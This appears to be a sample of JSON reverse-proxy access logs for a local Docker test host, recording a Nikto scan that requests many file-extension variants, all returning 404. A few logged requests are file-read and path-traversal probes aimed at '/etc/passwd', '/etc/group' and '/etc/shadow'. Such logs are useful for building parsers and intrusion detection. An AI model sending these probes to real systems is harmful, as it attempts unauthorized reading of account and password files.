{"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":670681,"OriginContentSize":357,"OriginDuration":655388,"OriginStatus":200,"Overhead":15293,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":121,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.orig","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.476684031Z","StartUTC":"2021-12-08T14:02:43.476684031Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":388748,"OriginContentSize":356,"OriginDuration":368461,"OriginStatus":200,"Overhead":20287,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":122,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.htw","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.478811278Z","StartUTC":"2021-12-08T14:02:43.478811278Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":371391,"OriginContentSize":357,"OriginDuration":340554,"OriginStatus":200,"Overhead":30837,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":123,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.json","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.480565398Z","StartUTC":"2021-12-08T14:02:43.480565398Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":264620,"OriginContentSize":356,"OriginDuration":246002,"OriginStatus":200,"Overhead":18618,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":124,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.TXT","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.481987147Z","StartUTC":"2021-12-08T14:02:43.481987147Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":363,"DownstreamStatus":404,"Duration":239035,"OriginContentSize":363,"OriginDuration":228234,"OriginStatus":200,"Overhead":10801,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":125,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.iso2022-jp","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.483085505Z","StartUTC":"2021-12-08T14:02:43.483085505Z","downstream_Content-Length":"363","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"363","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":243151,"OriginContentSize":356,"OriginDuration":228568,"OriginStatus":200,"Overhead":14583,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":126,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.htr","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.484204897Z","StartUTC":"2021-12-08T14:02:43.484204897Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":292339,"OriginContentSize":356,"OriginDuration":264921,"OriginStatus":200,"Overhead":27418,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":127,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.Htm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.485402575Z","StartUTC":"2021-12-08T14:02:43.485402575Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":396272,"OriginContentSize":356,"OriginDuration":374715,"OriginStatus":200,"Overhead":21557,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":128,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.org","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.486951574Z","StartUTC":"2021-12-08T14:02:43.486951574Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":971590,"OriginContentSize":359,"OriginDuration":910516,"OriginStatus":200,"Overhead":61074,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":129,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.action","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.490516478Z","StartUTC":"2021-12-08T14:02:43.490516478Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":346765,"OriginContentSize":357,"OriginDuration":327435,"OriginStatus":200,"Overhead":19330,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":130,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.utf8","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.493217446Z","StartUTC":"2021-12-08T14:02:43.493217446Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":299828,"OriginContentSize":356,"OriginDuration":271004,"OriginStatus":200,"Overhead":28824,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":131,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.dbm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.495896035Z","StartUTC":"2021-12-08T14:02:43.495896035Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":227517,"OriginContentSize":359,"OriginDuration":215492,"OriginStatus":200,"Overhead":12025,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":132,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.access","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.497136148Z","StartUTC":"2021-12-08T14:02:43.497136148Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":257161,"OriginContentSize":355,"OriginDuration":216910,"OriginStatus":200,"Overhead":40251,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":133,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.sh","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.49819923Z","StartUTC":"2021-12-08T14:02:43.49819923Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":201678,"OriginContentSize":356,"OriginDuration":192185,"OriginStatus":200,"Overhead":9493,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":134,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/toto?url=file:///etc/passwd","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.499256045Z","StartUTC":"2021-12-08T14:02:43.499256045Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":206623,"OriginContentSize":356,"OriginDuration":194507,"OriginStatus":200,"Overhead":12116,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":135,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/toto?url=file:///etc/group","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.50033066Z","StartUTC":"2021-12-08T14:02:43.50033066Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":229777,"OriginContentSize":359,"OriginDuration":211769,"OriginStatus":200,"Overhead":18008,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":136,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/toto?url=file:///etc/shadow","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.501404536Z","StartUTC":"2021-12-08T14:02:43.501404536Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":229777,"OriginContentSize":359,"OriginDuration":211769,"OriginStatus":200,"Overhead":18008,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":136,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/toto?url=file:///etc/shadow","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.501404536Z","StartUTC":"2021-12-08T14:02:43.501404536Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":362,"DownstreamStatus":404,"Duration":218407,"OriginContentSize":362,"OriginDuration":206047,"OriginStatus":200,"Overhead":12360,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":137,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/toto?azda=file//../../etc/passwd","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.502535626Z","StartUTC":"2021-12-08T14:02:43.502535626Z","downstream_Content-Length":"362","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"362","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":238777,"OriginContentSize":357,"OriginDuration":227532,"OriginStatus":200,"Overhead":11245,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":138,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.java","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.503609961Z","StartUTC":"2021-12-08T14:02:43.503609961Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":365,"DownstreamStatus":404,"Duration":727038,"OriginContentSize":365,"OriginDuration":666613,"OriginStatus":200,"Overhead":60425,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":139,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.genpopuplist","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.505151071Z","StartUTC":"2021-12-08T14:02:43.505151071Z","downstream_Content-Length":"365","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"365","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} 